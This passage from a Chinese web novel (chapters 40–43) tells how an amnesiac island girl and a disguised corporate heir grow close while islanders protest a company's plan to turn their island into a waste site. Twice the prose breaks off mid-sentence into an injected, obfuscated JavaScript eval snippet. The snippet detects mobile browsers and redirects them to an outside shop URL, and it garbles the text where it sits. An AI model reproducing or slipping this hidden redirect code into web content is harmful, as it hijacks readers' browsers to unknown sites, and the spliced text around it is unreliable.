可二妞对他这个答案甚是不满意,目光对准珍珠:“那你呢珍珠,如果让你选一个,你选谢嘉还是谢阳?” 珍珠歪着头想了想,全然不知后面有个人眼睛都快在她身上盯出火星子,诚实开口道:“谢阳吧,感觉那样相处好像会轻松点。” 平南的胸腔内像是被无端地扎了一下,很多前所未有的奇怪情绪涌入他的心里,他的面色毫无波动,可是连替谢嘉寻一个像样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“都可以啊。”她找不出一个很好的词来形容,珍珠说:“我觉得你这样很好。” “那如果我像...我像谢阳那样呢?虽然他看起来跟个没意思的小书呆子一样。” “也挺好。” “谢嘉呢?” 珍珠说不出来,但她觉得自己也不是小渔,只是还未开口,平南就赶紧补充道:“他其实性格也挺可爱的对不对。” 珍珠还是第一次见到平南竟然会为谢嘉说话,惊奇的坐直:“你不是一直不喜欢谢嘉?” 这么大个人还总是跟小孩计较,两人见面就是大眼瞪小眼,谁也看不上谁。 平南抿了抿唇,做贼心虚的找补:“有时候想想...他也挺可爱的。” “嗯。”珍珠对谢嘉并无意见,对二妞的问题也只是理性做抉择而已。 “那,如果我们有一天都想起来了,你会不会变?” 珍珠:“变什么?” “就是……像我们现在这样,然后你对.......谢嘉的看法。” 珍珠从来没想过这个问题,反问道:“那你呢。” 平南立马否认,恨不得现在把心掰开来给她看:“我肯定不会呀,我才不是那种人。” 颜家父母也是青梅竹马,两人婚姻美满幸福,这给他的婚姻观塑造的很大的影响。 珍珠凑近不相信地说:“所以你溺水真是因为去捡那些蜡笔?” 平南色厉内荏道:“不,不然呢?”难道要说他被阿黄吓到,绊着石头掉进海里,以后还怎么见人。 珍珠轻笑,没告诉他自己早就去问过长风了。 平南挺直背脊,表现出一副磊落的样子,觉得珍珠怎么能这样想自己,但转念一想,小傻子现在都失忆了,算了,先原谅她吧。 他撑着手,不知想到什么拖着长长的尾音突然问:“你想不想亲我?” 珍珠一偏头,吻落在了她的唇上。 “你想。”他已然自顾自的给出答案。 40. 第四十章 天边一声闷雷炸响,阴云被照亮,蓝月岛从半夜又开始淅淅沥沥的下雨,直到天明才放晴,连带着早上的气温也降低许多。 珍珠走在前面不由摸了摸手臂,惊觉秋天真的已经到临。 平南脸上没什么表情的把自己外面衬衫盖她身上,只留下里面白t,拉住她的手不悦的搓了两下:“这什么破班,怎么天天都要去上?” 也不知道曲有财那个老油条给了她多少钱,刮风下雨也要准时到那破冷饮店去,怎么以前叫她出门就磨磨蹭蹭。 珍珠没回答他,沉默了好一会才说:“你早上为什么那个态度,没看到奶奶都生气了吗?” 王淑华身体本来就不好,况且他们两个关系不是已经改善了,能够和平共处,现在平南又要故意摆出一副王淑华欠他骗他的样子,等下王淑华犯病了怎么办。 “……”平南垂着眼皮,不跟珍珠对视,他也不想这样,可是醒来后看见王淑华总会想起她那天的故意诓骗,他那么有礼貌,恪守传统美德,王淑华竟然骗他,不仅骗他,还在那段不清醒的时间里对他肆意的甩脸子,指挥他做这做那,他哪吃过这种罪。 越想越气,一岛的骗子。 把他们两个都骗了。 平南只要想起,对蓝月岛的容忍程度就会在忍受和无法忍受之间来回徘徊。 珍珠见他不愿意说,抽回手不再理他,一个人径直往前走。 看着她的背影,平南忍耐又达到了一个新的高度,珍珠是在对他生气?她失忆后的脾气怎么这样,从前跟个小羊羔子似的,现在一点就冷脸,哪有这么折腾人的。 平南一个人在原地郁闷了会,脾气也上来了,转身朝另一条路走去,捡瓶子是不可能的,他为什么要继续做这种蠢事。 他回了回头,湿漉漉的草地上空无一人。 金色的光亮将云层刺破,蓝月岛又恢复到往昔的温度,只是安静异常,前几日那些喧闹纷杂的场景竟恍如隔世。 春山忙着准备出船,平南只能转个弯去找长风,记得落水前他好像有话要对自己说。 才走到一半,平南被人叫停了脚步,是上次那户让他帮忙敲墙的人家,原来的地方已经竖起了一道崭新的水泥墙。 平南怀疑过曲大成一段时间的,谁让他每次见着自己眼神就畏畏缩缩的,一脸的做贼心虚,后来才知道人家就是单纯的散光加嘴笨,总害怕自己说错话。 春山说出海大家其实都不敢乱说话,不怕一万就怕万一,大成出海年纪小,小时候吃过这种亏,长大后就养成了这种闷性子。 曲奶奶招招手让他进来,平南犹豫了会,还是走了进去。 “这些你拿着回去吃,总是这么瘦怎么行,上次我家那个就是自己干不动了,哄你的,这东西又不贵,哪来要你做那么多事。” 曲奶奶慈笑了给他夹了一袋子红粿,又从一个吊在房梁上的竹篮子里拿了四五块比巴掌还大的鱼干塞到另一个袋子里,“这是我今年新晒的马鲛鱼干,你拿回去一起尝尝。” 无功不受禄,平南没接。 曲奶奶却以为是他嫌弃那些切开的鱼干,解释道:“你别看这鱼的样子不好看,但都是我们手工制作的,从打捞到晒干没有加一点防腐剂,原汁原味,我家老头子出海都是带这些,留的久。” 平南蹙起眉:“他还要出海?”墙都锤不动了,能做这些? 曲奶奶:“像我们这样靠海吃饭的人哪有什么休息,一年就那么多天可以出海,还不是有的做就做,有的吃就吃,等到做不动了再说。” 她低头叹道:“大成他爸早些年受了点伤,还以为那些人来了,能少做点,谁知道,唉~” 比起从未期盼,幸运曾经降临又溜走才最让人难以接受。 想起春山曾经说过的话,平南双手接过东西,沉默了会,站在那里干巴巴的说:“你家柴火应该烧完了吧。” 还好,哪怕平南在这里耽误了许多时间,但长风很能在渡口坐的住,一天有大半的时候都在那里看海,等他赶到的时候,长风还在渡口吃小鱼干。 长风一手拿着红粿,一手拿着小鱼干想了好久才记起来:“是小北哥。” 平南:“曲北?” 长风:“嗯,他那天很生气,一直在问你为什么要送我表,然后我就跟他说是因为我帮你找到珍珠姐姐,他才放开我。” 平南脸色微变,是因为曲北发现了什么,才会找到珍珠说他们不能在一起? 他在蓝月岛待的太久,自己都快忘了颜淙和她已经订婚这件事情。 曲北那小子怎么会知道? 多管闲事。 长风把表脱下来还给他:“不要了,小北哥说这个很贵。” 送出去的东西他怎么会收回,一块表而已,平南把表重新系到他手上,嘱咐道:“既然给你了,你就好好收着,别再给别人看见了。” “曲北和你说的那些话也不要跟别人说。” 长风模样听话的点点头。 -- 平南又一次陷入了两难的境界,出去,颜淙会来找他麻烦,不出去,他就要一直在这个破岛待着。 至于夏桉和颜淙订婚,他觉得这笔账不能完全算到夏桉的头上,夏桉多大,颜淙多大,指不定颜淙故意说了什么话去诱导她,哄骗她先把婚给订了。 夏桉以前多听的他的话,多依赖他,要不是上高中的时候颜淙多管闲事,给夏桉换了学校,夏桉怎么会慢慢的就听信了颜淙的鬼话,对他也逐渐开始冷漠。 现在想想,说不定就是颜淙蓄谋已久。 况且,他一开始来找夏桉就没打算告诉颜淙,颜淙如果真的爱她,怎么会连夏桉失踪了也不知道,他有什么资格做夏桉的未婚夫。 平南越想越气,又觉得夏桉那个时候指不定对自己撒了多少谎,还总是说学业繁忙,其实都在和颜淙培养感情,吃饭约会。 两个人各气各的,谁都没有退让的意思,于是没有人关注到,有来自外面的人又悄悄上岛了。 这次来的是万世集团里面一个姓孙的副总,海岛改造的前期工作都是由他推进,这本来就是手续齐全的事情,这才交给手下的人拿去历练,前期都进展好好的,不曾想他们接手后竟然能在蓝月岛闹出人命,更何况里面还有一个他安插的亲戚。 三人成虎,事情传到他耳朵里,蓝月岛已经在潜意识里变为一块难啃的骨头。 这种反对他见多了,无非就是钱给的不到位,要死要活,拿性命威胁,这才决定专 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岛上十多年前并不由如今的岛长做主,这份红头文件大家都没见过,岛长半信半疑,只能暗地里叫身边的人召集了岛上那一批老人拿去印证。 孙副总也不催促,反正那也只是份复印件,不咸不淡道:“放心,这点时间我还是会给你们的,其实这也不是什么大不了的事情,我觉得我们完全不用弄的那么僵。” “大家不过都是讨口饭吃,做决定的还不是上面的人,其实都好商量,关于你们的想法我也会帮忙传达上去,钱这种事情都是小事。” 他身边刺头年轻人这次识时务的拿出一个保险箱放在桌上打开,里面是满满的红色钞票。 岛长记得,上次和自己谈判的就是这个人,当时他还纳闷这么重要的事,对面怎么会派一个如此吊儿郎当的年轻人来做决定。 孙副总笑眯眯道:“我听说我手下的人不懂事,上次让你们这里的一个岛民受了伤,这点钱就当作营养费,也希望下次不会再出现这种情况,岛长,你说呢?” 那些钱显然已经超出营养费的价值,背后的含义不言而喻。 至于孙副总说的下次不要出现这种事,他自然不在乎什么哪个岛民又跳海了,哪个岛民又受伤了,这和他都没关系,无非就是钱赔的多和少的问题,要的就是不能再出现上次那样大规模进行示威的活动。 岛长冷脸合上了箱子,客客气气把他们请了出去,没有半点退让的意思。 刺头看着紧闭的大门,在孙副总旁边嘀咕道:“叔,我们就这么走了?这岛上的人真是不知好歹。” 孙副总哼笑一声:“这算什么,只要这个岛上有一个人想要这笔钱,蓝月岛拆了就是迟早的事。” 他斜睨了一眼自己那不争气的侄子:“上次让你调查的事情都查好了?” 刺头连连点头,堆笑道:“查好了,查好了,那个落水的人就住在东边那栋最旧的房子里,听说家里就一个老婆子和一个小孙女,其他人都好像因为海难十多年前就死了。” 孙副总:“这跟那个男的有什么关系?” 刺头暧昧不明的笑了下,挤眉弄眼的怪腔怪调:“听说——落水那男的好像是那家孙女捡来的未婚夫。” 孙副总闻言讽刺的笑了声:“这岛上还真有意思,愣着做什么,还不带路。” 41. 第四十一章 一行人浩浩荡荡的往小院走,一点也不避讳此行的目的,要的就是让所有人看到这些钱给到了王家。 人心经不起试探,意外掉入海里那是倒霉,可如果因此收获一大笔钱,那就是幸运。 没有人会对那些红花花的钞票不动心,孙副总要的就是这种效应,蓝月岛的人之所以会举行游行反对,是因为他们没有见过那些实实在在的利益,他们不知道自己的选择将会得到怎样的好处,他要让蓝月岛的人清清楚楚的看到那些钱留在了王家,让更多的人想要得到那些钱从而放弃蓝月岛。 虽已到了秋日,但海岛温度不减,刺头举着一把大黑伞撑在孙副总身边,感觉自己今日穿这双昂贵的皮鞋实在不是什么明智之举,岛上全是石子路,这一来一回好好的一双新鞋都快走成了残次品。 突然,孙副总的脚步停了下来,刺头差点走过头,赶忙退回把伞举好,咧嘴一笑:“叔,怎么了?” 他半迟钝的顺着孙副总的视线望过去,邀功似的赶忙道:“叔,就是他,那个掉水里的倒霉鬼。” 刺头其实根本不知道那天这个人是怎么掉进水里的,甚至一开始都没在示威的队伍里看到他,是后来到渡口才发现里面竟然还混了一个。 他记性不算好,但是那少年在那一群黢黑的壮汉里实在惹眼,五官深邃俊朗,清瘦挺拔,比他最近新交的小女朋友追的那个当红男明星还要出色。 孙副总脸色不太好:“你确定是他?” “叔,上次我亲眼看别人把他救上来的,绝对不可能认错。”那天的场景刺头怎么可能忘,男人浑身湿漉漉的,皮肤煞白跟没见过太阳一样,不知道还以为从深海里救上来的人鱼少年。 眼看孙副总眉头越来越紧,刺头大剌剌的朝那边提着两个红塑料袋的男人叫道:“喂,那边那个走路的,过来。” 平南没停,连眼神都没给一个。 刺头给旁边的人递了个眼神,一男人立马会心走向前拦住平南,要把他带过去。 平南黑着脸朝他们那边看了眼,不耐烦地甩出一个字:“滚。” 孙副总终于在这一眼里,确定了平南的身份,怕手下人不知轻重赶忙颇为吃惊的快步走向前,“小颜总?” 生活里其实没几个人这样叫过颜祈,他从高中起就在国外读书,不曾在大众面前露过脸,到现在也不过是大二的学生,倒是颜淙比他大了好几岁,早些年刚进公司的时候经常被人这样叫,但也只是短短的几个月,此后再也没有人这样叫过他。 孙副总到这的时候都还算在试探,毕竟这件事看上去很不可思议,只是颜祈那张脸和颜淙有五六分像,尤其是那张侧脸,除了略青涩简直一模一样,他也有些不敢赌,宁愿认错也不能真的得罪。 颜祈有那么一瞬间短暂的回到的自己的身份里,掀了掀眼皮,敷衍似的说:“你认识我?” 孙副总赔笑道:“上次您去公司的时候,我们见过。” 大家从来没见过哪个人敢那样横冲直撞的就撞进颜淙的办公室,颜淙处事向来雷厉风行,说一不二,可是那天办公室里拍桌子的声音连外面的秘书都听见了,再加上他们相似的眉眼,一公司的人精怎么会猜不出。 颜祈冷峭的目光从孙副总的脸上转向刺头,都没有什么印象。 孙副总确认完身份有点尴尬,暗中观察着颜祈不知道他出现在这座偏远的小岛闹的事哪一出,难道是颜家的人想拿这个工程给他练手?可是自己为什么一点风声也没听到,不是说他还没毕业在国外读书吗?掉进海里又是怎么回事? 他看向自己那不争气的侄子,刺头也慌张,不知道从哪里冒出一个小颜总,但他再不明白也能看出自己那平时高高在上的二叔,此刻在这个少年面前也要点头哈腰。 颜祈脸色也变了,颜淙这么久快知道他这了?那夏桉…… 孙副总看着他身上那廉价的衣服,心下疑惑,故作试探道:“您这是暗度陈仓?” 颜祈心里正烦着,还没明白这句话的意思就听到孙副总的彩虹屁一大波朝他袭来,什么心思巧妙,诱敌深入,手段高超,全都是一些奉承谄媚的话。 颜家有两个儿子,外头都传言他们更偏爱小的那个,对孙副总来说,不管颜祈出现在这个岛上究竟是什么原因,现在都是一个比其他人更好拍马屁的机会。 他早年站错了位置,在万世打拼多年却落到一个不上不下的位置,那些真正大项目根本就没他的份,他日颜祈真正进到公司总要培养自己的势力,现在留个印象难保未来没有益处。 颜祈不耐的听着,听出了一些苗头,孙副总好像并不是颜淙派来找他的,这让他稍稍静了一些思绪,视线幽幽的从这一群人的脸上掠过,最后停在孙副总那张胖脸上。 “有船吗?” 孙副总愣了一下,点头。 颜祈时隔一个半月终于回到陆地,他找到自己停在酒店那里的车,划卡重新买了一台手机补了卡,又让人去帮他买了一套油画颜料。 他沐浴完躺在酒店的柔软的大床上本来想舒舒服服的休息会,结果竟然完全睡不着,感觉整个人跟陷进去似的浑身难受,一拿到东西又让孙副总等人把自己给送了回去。 下船时他回头看了一眼孙副总,孙副总了然的点点头,保证自己绝对不会乱说打乱他的计划。 可等他一走,孙副总的神情冷了下来,吩咐让手下的人去查查王家那个小渔女。 刺头不解道:“叔,你前面不是……”他不好明说孙副总刚刚那副溜须拍马的做派。 孙副总皮笑肉不笑地看着颜祈离去的背影,不作解释,只道:“这种富家少爷那点把戏,你怎么会懂。” -- 颜祈已经快越来越摸不清夏桉的脾气,或许更应该说是现 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颜祈指节咔的一声作响,随即空气里传来另一种类似的声音,灯光闪了两下,仓促一灭。 他起身朝外看,发现院子里那个小小的照明灯还亮着,空气里传来一股轻微烧焦的味道。 他躁郁的瞪了一眼那个大灯泡起身,走过门口纠结了一瞬又把那一套油画工具拿上,敲响珍珠的房门。 颜祈不认为自己是在先低头认错,他只是想借此让珍珠记起点什么,比如她为什么要和颜淙订婚又为什么会在这个破岛上失忆,还有,她去年送给自己的礼物为什么要晚那么久,送的一点也不合他的心意。 过了好几分钟,珍珠才打开门,房间里的灯黑着。 颜祈气闷的把手中的东西递过去,语气奇怪的解释道:“我可不是为了专门过来给你送礼物的,是我刚好我房间的——” 他的怀里突然一热,珍珠抱住了他。 颜祈眼睫飞快的眨了眨,嘴里乱七八糟的说:“倒也不用这么敢动,你知道自己错了就好。” 珍珠脑子嗡嗡的,使劲皱了皱眉头,扶稳旁边的门框从他怀里起来,没太听清楚:“你说什么?” 颜祈并不是一个很会道歉的人,主要是生活里也没有什么人需要和他道歉,他自作主张的原谅珍珠,伸手把东西塞到她的手里,转移话题:“我房间的灯泡坏了。” 这一递过去不得了,对面柔软的掌心简直热的发烫。 颜祈讶然的把手贴在她的额头上,温度只增不减,伸手揿亮墙边的灯。 突然明亮的视线让意识不太清醒的珍珠眼前一片失真,颜祈那张脸映入她的视帘,轮廓熟悉看不清五官,高烧的发热让她分不清眼前的究竟是幻觉还是真实发生的一切。 抬手摸上他的眉眼,喃喃道:“你究竟是谁?” 42. 第四十二章 他是谁? 颜祈反握住她的手,不知想到什么话里带着几分怨怼:“你希望我是谁?” 是颜淙,还是颜祈。 他始终想不明白,颜淙凭什么后来居上,明明从小大家就都说夏桉是他的,怎么只是短短的几个月她就忘了,还偏偏要和颜淙在一起,她难道不知道他们之间是什么关系吗! 珍珠猛然被抓住胳膊,头脑发热的疼痛涌上一股熟悉的压迫感,伸手有些紧张的推推他:“不,不要你……” 颜祈收紧手掌,动作有几分粗暴的把她扯到的自己的怀里,话里满是轻蔑的恼怒:“不要我,你以为颜淙就会来?” 他神色越发薄凉,喃喃念叨着她的名字恨不得拆腹入骨:“夏桉,颜淙那种唯利是图的人是不会来的,他根本就不喜欢你,这一切都是骗你的。” 珍珠头脑烧的混沌,根本听不清楚他在说什么,却能感知到对方的情绪不好,身体不自觉的哆嗦了一下,呼吸越发急促。 湿热的液体浸透单薄的衬衣,颜祈倏忽间才惊觉回神,想起秋日早就到了,夏桉在父母离世后身体总是不好,一入秋就跟会沾染那些寒霜一样,毫无抵抗力。 是蓝月岛一直持续在夏日的温度,才让他忘记了这点。 “就这样,还要跟我闹脾气呢。”颜祈看着她哭心里也酸胀,想起这次他们之间闹别扭甚至根本就没有颜淙的原因,而是一个和他们完全没有关系,遇事只会装晕倒的骗子老妇人。 现在夏桉都会为了一个外人和他生气了。 “小没良心,也不想想小时候是谁一直照顾你。” 颜祈说完这句,那些抑止已久的酸涩和怨恨再也无处可藏,涩涩沉沉的难过挤满胸腔。 空气里留下一声微不可察的叹息,颜祈伸手拭去她眼睫上那要坠未落的眼泪,把她抱到床上,发现床头柜子上的温水还未凉透,旁边还有一板只吃了两颗的感冒药。 估摸她刚吃完不久,颜祈怕她还吃了别的也不敢随便喂药,从衣柜里找出秋被给她盖上,又打了一盆凉水找出退烧药一起拿上来。 他照顾夏桉照顾惯了,对这些事情驾轻就熟,一直到后半夜等药效差不多过了才喂她吃下新的退烧药。 珍珠的呼吸逐渐平稳,只是脸上不太正常的红潮仍未褪去,颜祈看着她濡湿的睫毛,又无奈又怄火,拿湿毛巾给她仔仔细细擦干净,嘴里愤愤道:“颜淙那个闷葫芦能像我这样照顾你?” 颜淙什么都不知道,颜淙只会坐享其成。 “颜祈。”珍珠喉咙里发出一声微弱的声响,好似无意识的呓语。 颜祈猝不及防心头一喜:“你说什么?” 珍珠清秀的眉头微微蹙起,犹如陷在某种梦魇里,没再出声。 可颜祈分明听清楚了那声,她做梦的时候叫的不是颜淙的名字,是他的,他们之间有那么多美好的记忆,这些颜淙怎么能够比的上。 他掌心贴在珍珠的脸侧,柔声哄道:“夏桉,你刚刚是不是在叫我?” “我在这里。” 珍珠却在听到这一声下巴突然颤抖起来,眼角被泪迹洇出一道浅浅的润光,那些湿热沾湿了颜祈的指腹。 他抹过很多次夏桉的眼泪,害怕的,难过的,却从来没有像今天这样觉得这些眼泪会让他慌张。 颜祈低头吻在她的唇上,心里有些什么东西正在破土发芽需要他急迫的想去验证,他强忍着,声音说不出情绪:“夏桉,我在这呢,我们会永远在一起。” 那些眼泪流的更凶了,珍珠小声的啜泣起来,眼泪跟珠子一样往下掉。 颜祈霎时浑身冰凉,他像是很忙的给珍珠擦眼泪,止都止不住,又低头去亲亲她,强笑着嘴里胡说八道像在慰藉自己:“骗你的,哈哈哈,其实我是颜淙,夏桉,是不是我们长的太像,你认错了。” 颜祈感觉鼻尖有些酸,指尖嵌入掌心,往昔那些好像被刻意忽略的事情其实都有迹可循,在过去那么多时间里,他真的从未察觉? 夏桉看似懦弱,却又一直走在他前面,她总是接受的很快,像个没有脾气的漂亮洋娃娃,不学钢琴又很快发现自己绘画的天赋,可以忍受寂寞坐在画室里一直不出来。 其实很早的某一刻,夏桉就不再像以前那样依赖他了,她对他的占据开始变的平静。 颜祈不愿意再想,夏桉现在失忆了,也许她只是做了一个噩梦而已,这一切并不能代表什么,就像那天她选择谢阳一样,这并不能代表什么。 这一切只是珍珠的选择,不是夏桉的选择。 颜祈抬起下巴,揉了揉发酸的鼻子,明明动作很轻微,珍珠却突然从梦境中惊醒睁开哭的通红的眼,她像是也没察觉到自己在哭,只是望着颜祈愣了几秒。 两双泛着柔光的眼睛在微凉的空气里对上,久久的,竟都没有人说话。 颜祈率先开始慌张,神情僵硬,垂眸避开她的视线。 珍珠反应很慢,对他会出现在这里很没有真实感,动了动发现自己身上的被子渐渐反应过来,“你……眼睛怎么了?” 她发个烧也不至于这样吧。 颜祈掩饰一样说:“没什么,腿麻了。” 珍珠哦了声,又问:“几点了?” “三点。” 珍珠把手从被子伸出来有点热,“我不要盖这么厚的被子。” “谁让你不好好穿衣服的,自己发烧了都不知道,吃那点感冒药能有用?”他说着要把她的手塞回去。 前面发冷的时候盖着还好,现在都醒了,只觉得热的不行,哪里肯愿意放进去。 颜祈态度强硬的站起来,腿还真有点麻,要去扶床板,反被珍珠牵住了手。 那双清亮的大眼睛望着他,无缘故的心软:“你下次能别惹奶奶生气吗?她已经很可怜了。” 王淑华可怜,他就不可怜? 他什么时候在这种地方生活过,她还什么都不知道,一天天就知道气他。 颜祈动了动嘴唇:“知道了。” 珍珠这次是真的有点困了,把被子往下拉了一点,两只细白的手臂伸到外面还是觉得热,可颜祈怕早上气温低,不准她换成夏天的薄被。 她打量着被子又打量着颜祈,突然飘忽着视线嗫嚅道:“你要不要上来睡?” 她偏着头往里面移了点,换了块没睡过的地方感觉温度稍降,灯光被揿灭,珍珠寻思等他走了自己再起来换就是,身边的位置却突然被占据,不堪承重的木板吱吱呀呀的作响。 珍珠睁大眼,过了片刻才说:“你热不热。” 废话,他又不怕冷,再说了,两个人睡在一起能不热吗。 他不回答也没关系,珍珠自有办法,隔着被子摸上他的手臂,煽动道:“你也觉得很热对吧。” “我早跟你说过了,我是真的很热——” “我不热。”颜祈打断她,不为所动,发烧出汗后如果再着凉只会更容易复烧。 珍珠:“骗人,你都快出汗了。” 颜祈这次极其有耐心:“换那个被子早上会冷的。” “不会。”珍珠怕他不信,凑到他身边把他抱住,“这样就没事了。” 颜祈:“……” 两人的身子紧贴一起,明明只有珍珠烧着体温有异样的滚烫,可挨着,两个人竟不相上下。 颜祈不动声色和她隔开了点。 十分钟后,房间重新亮起灯,颜祈把那床秋被叠好放回去,换上夏日只有一层薄薄的凉被,珍珠窝在他的旁边,终于沉沉睡去。 颜祈眼睛睁着,心口被她呼出来的气息弄的湿热热的,无法平复心底上涌的思绪。 有些事他不愿意再想,却又不得不思考。 离开蓝月岛,这一切还作数吗? 夏桉显然不是一个说话算数的人。 他们许下的那些的誓言,发生过的一切,都只能当场虚无的美梦? 过往的一切如同潮水纷迭而至,故事好像又回到了最初,他抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038455|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上夏桉细长的眉,想起她和王淑华在屋子说的那些话。 如果故事的最初是因为她可怜他,其实颜祈也可以是平南,他可以做王珍珠心里最可怜的那一个。 既然她可怜他,那就应该要可怜他到底,全权负责。 这样才能长教训。 颜祈凑过去,偷亲一样在珍珠唇上留下一个小小的牙印,悄声警告道:“你要记得,只有我最爱你。” 他换成跟珍珠一样蜷缩的姿势,头挨头像小时候那样握住她的手,颜祈把手紧了又紧,才安心阖上浓密的眼睫。 -- 孙副总拿出的文件在岛上传了差不多一圈后,所有人都陷入沉默里。 这些年大家在岛上住着,不受陆地法制管辖,根本就不知道还要办理什么房产证土地证,说白了,他们在蓝月岛这块土地上根本就没有话语权。 蓝月岛从来不属于他们,他们才是寄居蟹,是‘白住房’,是要把别人家土地占为己有的坏玩意。 万世集团别说要建垃圾场了,就算建化工厂他们也没有拒绝的权利,只能认命接受。 春山本来都要出海了,但面对岛上无人可用的情况下,只能先放弃出海,用卫星电话跟先前出海的人打了一圈电话,又跟岛长号召起蓝月岛剩下的老老少少,男男女女聚在一起想办法。 现在留在岛上的大多是些对外界闭目塞听的老人,谁也没想到,打了一辈子的渔,有天他们会跟那些困在自己渔网里绝望挣扎的海鱼没有任何区别。 蓝月岛懂法的人不多,在这种大公司财团面前,毫无还手之力,几经斟酌下还是决定采取最原始的办法——群起示威。 王淑华向来不主动去开那些集体会议,消息总是最后才传到她那里。 这会蓝月岛是真没人了,春山不得不拉颜祈充人头,和珍珠保证绝对不会再出现上次那样的情况。 颜祈心虚的混在人群里,春山用胳膊肘杵他加紧演练,“平南,喊口号啊!” “...好…” 他声若蚊蝇的叫了两句,春山不是很看得过去,手把手交他,“你怎么叫的比长风声音还小,手举高点,伸直了,好,拳头要握紧,跟我喊。” “抵制万世集团!拒绝垃圾焚化厂!誓死捍卫蓝月岛!” 颜祈闭了闭眼,再也蒙混不过去,只能硬着头皮一起叫:“抵制万世集团!拒绝垃圾焚化厂!誓死捍卫蓝月岛!” “垃圾万世集团!还我美丽家园!” 颜祈闭了闭眼:“……垃圾万世集团!还我美丽家园!” 该死,他上次竟然没想到这茬,这个破岛什么时候属于他家了,颜淙这个黑心的,竟然要把蓝月岛改成垃圾场。 大伙跟着排演了会,纷纷躲到阴地处休息,拿着横幅往自己身上扇风。 轮值的人站在废弃灯塔上用望远镜监视着渡口的动静,一动不动。 整个岛上处于一种萧瑟警戒的氛围里,人人自危,保不保得住蓝月岛,保不保得住饭碗就在此一举。 王淑华本来也要来的,但考虑到她的身体情况,春山和岛长又把人分成了两组,上了年纪身体不好的充当后勤,制作横幅和联系其他离岛的人想办法,剩余的人全部排演随时准备进行反抗。 被禁止参加的人还有珍珠,岛长找了两个借口,一是王淑华不准,二是来参加的人都没有考勤工作,珍珠只好作罢。 但好在后勤团队就设置在冷饮店那块,离渡口近正好补充物资,这些理由才看着一点也不生硬。 趁着休息时间,珍珠偷偷溜了过来,又被颜祈伸手给她遮住太阳给赶了回去:“你别掺和了,太阳大,快回去,今天出来的人多,等下嗓子都喊哑了我正好把他们都带去你那。” 珍珠:“......?!” 天边群鸟掠过,早上的阳光自入秋后已算不得猛烈,海浪卷滚着风声呼呼作响,珍珠被他推着才走几步,灯塔上的人拿着望远镜突然大喊:“他们来了!!!” 43. 第四十三章 孙副总偷偷上岛的时候已经是下午,蓝月岛的人把渡口围的水泄不通,不仅不让他们登岛还纷纷往海里投起了石头,简直是冥顽不灵。 他从小渔船上下来,一脸很焦急为颜祈考虑的样子,“小颜总,你怎么能跟着这群无知的岛民一起胡闹?到时候颜总知道了——” 颜祈没兴趣的打断他,问道:“是颜淙让你们这样做的?” 孙副总哪敢当着他的面说颜淙的坏话,找了一个更严谨的说法回道:“我们这都是按照公司的规章办事,蓝月岛的开发是合乎手续的。” 颜祈也知道这种事一般都是早就落地了手续和规划,颜淙应该还没冷血到那种程度,想了想又问:“蓝月岛就没有其他规划?” “这……小颜总你知道我……”孙副总搓搓手,变得很难为情。 颜祈没为难他,思索着要不要回去一趟,可是他离岛那么久要怎么和夏桉解释,纠结半晌还是让孙副总先离开了,交代他最近不要再来岛上。 孙副总暗示道:“可是改建……” 改建自然要在工期内推进,蓝月岛今天的所作所为无疑于是以卵击石,表面上看着吓人,可是他们面对的钉子户多的去了,有的是方法让这些人同意。 颜祈不知道他们那些手段,以为孙副总是怕担责,还颇有正义感的告诉他,自己会跟颜淙说,让他先去处理别的事情。 如此,孙副总又恭维了他几句才彻底离开。 颜祈松了一口气,转身离开时突然听到林子里那些海鸟不知为何都一瞬间扑腾有力的翅膀飞到了上空,他疑惑的回头看了一眼,没有发现任何人。 颜祈心里莫名有点不安,还有点急促,落不到实地上,这一切直到他在渡口见到长风才好了点。 也许是因为他早就清醒又一直在隐瞒自己的身份,也有可能是因为平静的蓝月岛突遭改建给所有人带来的恐慌和他之间也脱不了干系,本来是想直接回去的颜祈,在看到长风一个人孤零零的坐在那里的时候,还是出于一种弥补的心理坐了下来。 长风自然而然递了一块小鱼干给他,颜祈接过,随口问道:“你到底在看什么?” 自他第一次在渡口这见到长风,长风就每天雷打不动的会坐在这里望着这片辽阔的海域,跟一块石头似的屹立不动。 “那。”长风朝着远处一指。 颜祈顺势看过去,只能看到远处一点模糊的岛屿轮廓,便再也没有其他东西。 “妈妈说,爸爸就在海的另一边。”长风仰起笑脸,像一个等待老师夸奖的孩子,“我要让爸爸回来第一个看见我。” 但他旋即又低下头来,想起什么眼角有微微的泛红:“平南哥,我们以后会被赶出去吗?” 颜祈短暂犹豫了下,用力拍拍他的肩:“当然不会。” 长风抬起眼,很不相信:“可是妈妈说蓝月岛不是我们的,我们以后会被赶出去,如果那样,我就等不到爸爸了。” 大家总说他什么都不懂,看着呆头呆脑的,可是长风只是理解的慢了一点,他听得懂所有人说的话。 颜祈对这些捕捞的事情不了解,但是出海快的渔船早就来回了三四趟,他还真没在岛上见过长风的父亲,只能大概想到长风的父亲应该是去一个很远的地方出海去了,而且有他在,蓝月岛怎么可能沦落到那种境况。 “不会的,我不会让他们把你赶出去的。”颜祈对他再一次郑重的承诺道。 -- 颜祈找孙副总要了一个卫星电话,这岛上的信号实在太差,买来的新手机就像是一块无用的废铁,只能被他藏在箱子里不见天日,如同他隐秘的心思。 他不知道要怎么和颜淙开口,直接说显然是愚蠢的,先不说他为什么会突然无缘无故给蓝月岛讲话,光是解释他为什么会远在国外却知道蓝月岛这三个字就解释不清楚。 他盯着卫星电话看了半晌也没真的打出去,最后烦闷的往柜子里一塞躺到床上,楼下突然传来开门声,颜祈一个仰起跑到阳台边去看,结果是参加完集体会议的王淑华回来了。 